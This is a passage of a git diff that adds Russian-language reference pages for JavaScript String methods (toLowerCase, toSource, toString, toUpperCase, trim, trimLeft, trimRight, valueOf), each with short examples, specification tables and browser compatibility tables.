+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("String.prototype.toLocaleLowerCase()")}}</li>
+ <li>{{jsxref("String.prototype.toLowerCase()")}}</li>
+ <li>{{jsxref("String.prototype.toUpperCase()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/tolowercase/index.html b/files/ru/web/javascript/reference/global_objects/string/tolowercase/index.html
new file mode 100644
index 0000000000..c79c41ad6e
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/tolowercase/index.html
@@ -0,0 +1,109 @@
+---
+title: String.prototype.toLowerCase()
+slug: Web/JavaScript/Reference/Global_Objects/String/toLowerCase
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/toLowerCase
+---
+<div>{{JSRef("Global_Objects", "String")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>toLowerCase()</code></strong> возвращает значение строки, на которой он был вызван, преобразованное в нижний регистр.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>str</var>.toLowerCase()</code></pre>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Метод <code>toLowerCase()</code> возвращает значение строки, преобразованное в нижний регистр. Метод <code>toLowerCase()</code> не изменяет значение самой строки.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_toLowerCase" name="Example:_Using_toLowerCase">Пример: использование метода <code>toLowerCase()</code></h3>
+<pre class="brush: js">console.log('АЛФАВИТ'.toLowerCase()); // 'алфавит'
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.16', 'String.prototype.toLowerCase')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.tolowercase', 'String.prototype.toLowerCase')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("String.prototype.toLocaleLowerCase()")}}</li>
+ <li>{{jsxref("String.prototype.toLocaleUpperCase()")}}</li>
+ <li>{{jsxref("String.prototype.toUpperCase()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/tosource/index.html b/files/ru/web/javascript/reference/global_objects/string/tosource/index.html
new file mode 100644
index 0000000000..3570fd5b48
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/tosource/index.html
@@ -0,0 +1,91 @@
+---
+title: String.prototype.toSource()
+slug: Web/JavaScript/Reference/Global_Objects/String/toSource
+tags:
+  - JavaScript
+  - Method
+  - Non-standard
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/toSource
+---
+<div>{{JSRef("Global_Objects", "String")}} {{non-standard_header}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>toSource()</code></strong> возвращает строковое представление исходного кода объекта.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code>String.toSource()
+<var>str</var>.toSource()
+</code></pre>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Метод <code>toSource()</code> возвращает следующие значения:</p>
+<ul>
+ <li>Для встроенного объекта {{jsxref("Global_Objects/String", "String")}} метод <code>toSource()</code> возвращает следующую строку, указывающую, что исходный код недоступен:
+<pre class="brush: js">function String() {
+    [native code]
+}
+</pre>
+ </li>
+ <li>Для экземпляров объекта {{jsxref("Global_Objects/String", "String")}} или строковых литералов, метод <code>toSource()</code> возвращает строковое представление исходного кода.</li>
+</ul>
+<p>Этот метод обычно вызывается внутренними механизмаим движка JavaScript, а не явно в коде.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<p>Не является частью какого-либо стандарта. Реализована в JavaScript 1.3.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Object.prototype.toSource()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/tostring/index.html b/files/ru/web/javascript/reference/global_objects/string/tostring/index.html
new file mode 100644
index 0000000000..6987aa12ba
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/tostring/index.html
@@ -0,0 +1,111 @@
+---
+title: String.prototype.toString()
+slug: Web/JavaScript/Reference/Global_Objects/String/toString
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/toString
+---
+<div>{{JSRef("Global_Objects", "String")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>toString()</code></strong> возвращает строку, представляющую указанный объект.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>str</var>.toString()</code></pre>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Объект {{jsxref("Global_Objects/String", "String")}} переопределяет метод <code>toString()</code>, унаследованный из объекта {{jsxref("Global_Objects/Object", "Object")}}; он не наследует метод {{jsxref("Object.prototype.toString()")}}. Для объектов {{jsxref("Global_Objects/String", "String")}} метод <code>toString()</code> возвращает строку, представляющую объект и делает тоже самое, что и метод {{jsxref("String.prototype.valueOf()")}}.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_toString" name="Example:_Using_toString">Пример: использование метода <code>toString()</code></h3>
+<p>В следующем примере выводится строковое значение объекта {{jsxref("Global_Objects/String", "String")}}:</p>
+<pre class="brush: js">var x = new String('Привет, мир');
+
+console.log(x.toString()); // Отобразит 'Привет, мир'
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.2', 'String.prototype.toString')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.tostring', 'String.prototype.toString')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Object.prototype.toSource()")}}</li>
+ <li>{{jsxref("String.prototype.valueOf()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/touppercase/index.html b/files/ru/web/javascript/reference/global_objects/string/touppercase/index.html
new file mode 100644
index 0000000000..96354d60e9
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/touppercase/index.html
@@ -0,0 +1,109 @@
+---
+title: String.prototype.toUpperCase()
+slug: Web/JavaScript/Reference/Global_Objects/String/toUpperCase
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/toUpperCase
+---
+<div>{{JSRef("Global_Objects", "String")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>toUpperCase()</code></strong> возвращает значение строки, на которой он был вызван, преобразованное в верхний регистр.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>str</var>.toUpperCase()</code></pre>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Метод <code>toUpperCase()</code> возвращает значение строки, преобразованное в верхний регистр. Метод <code>toUpperCase()</code> не изменяет значение самой строки.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_toUpperCase" name="Example:_Using_toUpperCase">Пример: использование метода <code>toUpperCase()</code></h3>
+<pre class="brush: js">console.log('алфавит'.toUpperCase()); // 'АЛФАВИТ'
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.18', 'String.prototype.toUpperCase')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.touppercase', 'String.prototype.toUpperCase')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("String.prototype.toLocaleLowerCase()")}}</li>
+ <li>{{jsxref("String.prototype.toLocaleUpperCase()")}}</li>
+ <li>{{jsxref("String.prototype.toLowerCase()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/trim/index.html b/files/ru/web/javascript/reference/global_objects/string/trim/index.html
new file mode 100644
index 0000000000..e7f2037942
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/trim/index.html
@@ -0,0 +1,135 @@
+---
+title: String.prototype.trim()
+slug: Web/JavaScript/Reference/Global_Objects/String/Trim
+tags:
+  - ECMAScript5
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/Trim
+---
+<div>{{JSRef("Global_Objects", "String")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>trim()</code></strong> удаляет пробельные символы с начала и конца строки. Пробельными символами в этом контексте считаются все собственно пробельные символы (пробел, табуляция, неразрывный пробел и прочие) и все символы конца строки (LF, CR и прочие).</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.trim()</code></pre>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Метод <code>trim()</code> возвращает строку с вырезанными пробельными символами с её концов. Метод <code>trim()</code> не изменяет значение самой строки.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_trim" name="Example:_Using_trim">Пример: использование метода <code>trim()</code></h3>
+
+<p>Следующий пример покажет строку <code>'foo'</code>:</p>
+
+<pre class="brush: js">var orig = '   foo  ';
+console.log(orig.trim()); // 'foo'
+
+// Другой пример, в котором .trim() убирает пробельные символы только с одной стороны.
+
+var orig = 'foo    ';
+console.log(orig.trim()); // 'foo'
+</pre>
+
+<h2 id="Polyfill" name="Polyfill">Полифилл</h2>
+
+<p>Запуск следующего кода до любого другого создаст метод <code>trim()</code>, если он ещё не реализуется браузером.</p>
+
+<pre class="brush: js">if (!String.prototype.trim) {
+  (function() {
+    // Вырезаем BOM и неразрывный пробел
+    String.prototype.trim = function() {
+      return this.replace(/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g, '');
+    };
+  })();
+}
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.20', 'String.prototype.trim')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.8.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.trim', 'String.prototype.trim')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>{{CompatIE("9")}}</td>
+   <td>{{CompatOpera("10.5")}}</td>
+   <td>{{CompatSafari("5")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.trimLeft()")}} {{non-standard_inline}}</li>
+ <li>{{jsxref("String.prototype.trimRight()")}} {{non-standard_inline}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/trimleft/index.html b/files/ru/web/javascript/reference/global_objects/string/trimleft/index.html
new file mode 100644
index 0000000000..f60326e795
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/trimleft/index.html
@@ -0,0 +1,93 @@
+---
+title: String.prototype.trimLeft()
+slug: Web/JavaScript/Reference/Global_Objects/String/TrimLeft
+tags:
+  - JavaScript
+  - Method
+  - Non-standard
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/trimStart
+---
+<div>{{JSRef("Global_Objects", "String")}} {{non-standard_header}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>trimLeft()</code></strong> удаляет пробельные символы с левого конца строки.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>str</var>.trimLeft()</code></pre>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Метод <code>trimLeft()</code> возвращает строку с вырезанными пробельными символами с её левого конца. Метод <code>trimLeft()</code> не изменяет значение самой строки.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_trimLeft" name="Example:_Using_trimLeft">Пример: использование метода <code>trimLeft()</code></h3>
+<p>Следующий пример покажет строку <code style="white-space: pre;">'foo  '</code>:</p>
+<pre class="brush: js; highlight: [5]">var str = '   foo  ';
+
+console.log(str.length); // 8
+
+str = str.trimLeft();
+console.log(str.length); // 5
+console.log(str);        // 'foo  '
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<p>Не является частью какого-либо стандарта. Реализована в JavaScript 1.8.1.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("String.prototype.trim()")}}</li>
+ <li>{{jsxref("String.prototype.trimRight()")}} {{non-standard_inline}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/trimright/index.html b/files/ru/web/javascript/reference/global_objects/string/trimright/index.html
new file mode 100644
index 0000000000..4a7bd8e907
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/trimright/index.html
@@ -0,0 +1,93 @@
+---
+title: String.prototype.trimRight()
+slug: Web/JavaScript/Reference/Global_Objects/String/TrimRight
+tags:
+  - JavaScript
+  - Method
+  - Non-standard
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/trimEnd
+---
+<div>{{JSRef("Global_Objects", "String")}} {{non-standard_header}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>trimRight()</code></strong> удаляет пробельные символы с правого конца строки.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>str</var>.trimRight()</code></pre>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Метод <code>trimRight()</code> возвращает строку с вырезанными пробельными символами с её правого конца. Метод <code>trimRight()</code> не изменяет значение самой строки.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_trimRight" name="Example:_Using_trimRight">Пример: использование метода <code>trimRight()</code></h3>
+<p>Следующий пример покажет строку <code style="white-space: pre;">'   foo'</code>:</p>
+<pre class="brush: js; highlight: [5]">var str = '   foo  ';
+
+console.log(str.length); // 8
+
+str = str.trimRight();
+console.log(str.length); // 5
+console.log(str);        // '   foo'
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<p>Не является частью какого-либо стандарта. Реализована в JavaScript 1.8.1.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+    <td>{{CompatUnknown}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("String.prototype.trim()")}}</li>
+ <li>{{jsxref("String.prototype.trimLeft()")}} {{non-standard_inline}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/valueof/index.html b/files/ru/web/javascript/reference/global_objects/string/valueof/index.html
new file mode 100644
index 0000000000..26eba20671
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/valueof/index.html
@@ -0,0 +1,120 @@
+---
+title: String.prototype.valueOf()
+slug: Web/JavaScript/Reference/Global_Objects/String/valueOf
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/valueOf
+---
+<div>{{JSRef("Global_Objects", "String")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>valueOf()</code></strong> возвращает примитивное значение объекта {{jsxref("Global_Objects/String", "String")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.valueOf()</code></pre>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Метод <code>valueOf()</code> возвращает примитивное значение объекта {{jsxref("Global_Objects/String", "String")}} в виде строкового типа данных. Это значение эквивалентно значению вызова метода {{jsxref("String.prototype.toString()")}}.</p>
+
+<p>Этот метод обычно вызывается внутренними механизмами движка JavaScript, а не явно в коде.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_valueOf" name="Example:_Using_valueOf">Пример: использование метода <code>valueOf()</code></h3>
+
+<pre class="brush: js">var x = new String('Привет, мир');
+console.log(x.valueOf()); // Отобразит 'Привет, мир'
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.3', 'String.prototype.valueOf')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.valueof', 'String.prototype.valueOf')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
